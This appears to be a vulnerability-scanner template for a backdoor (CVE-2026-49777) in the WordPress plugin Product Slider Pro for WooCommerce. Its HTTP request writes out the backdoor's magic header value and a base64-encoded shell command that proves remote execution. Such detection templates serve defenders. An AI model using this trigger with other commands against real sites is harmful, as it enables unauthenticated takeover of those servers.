WordPress Product Slider Pro for WooCommerce < 3.5.4 - Supply Chain Backdoor RCE

id: CVE-2026-49777

info:
  name: WordPress Product Slider Pro for WooCommerce < 3.5.4 - Supply Chain Backdoor RCE
  author: DhiyaneshDk
  severity: critical
  description: |
    Improper Validation of Specified Quantity in Input vulnerability in ShapedPlugin, LLC Product Slider Pro for WooCommerce allows Malicious Software Implanted. This issue affects Product Slider Pro for WooCommerce: from n/a before 3.5.4.
  impact: |
    Attackers can implant malicious software, potentially compromising the system or data integrity.
  remediation: |
    Apply the vendor's patch or update to the latest fixed version when available.
  reference:
    - https://patchstack.com/database/wordpress/plugin/woo-product-slider-pro/vulnerability/wordpress-product-slider-pro-for-woocommerce-plugin-3-5-2-backdoor-vulnerability
    - https://patchstack.com/articles/critical-supply-chain-compromise-in-smart-slider-3-pro-full-malware-analysis/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-49777
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-49777
    epss-score: 0.01656
    epss-percentile: 0.76791
    cwe-id: CWE-506
  metadata:
    verified: true
    max-request: 1
    vendor: shapedplugin
    product: product_slider_pro_for_woocommerce
    framework: wordpress
    shodan-query: http.component:"WordPress"
    fofa-query: body="wp-content/plugins/woo-product-slider-pro"
  tags: cve,cve2026,wordpress,wp-plugin,backdoor,rce,supply-chain,woocommerce,unauth,shapedplugin,vkev

variables:
  a: "{{rand_int(10000, 99999)}}"
  b: "{{rand_int(10000, 99999)}}"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-Cache-Status: nw9xQmK4
        X-Cache-Key: {{base64("expr " + a + " + " + b)}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{to_number(a)+to_number(b)}}"

      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(content_type, 'text/plain')"
        condition: and

    extractors:
      - type: dsl
        dsl:
          - "body"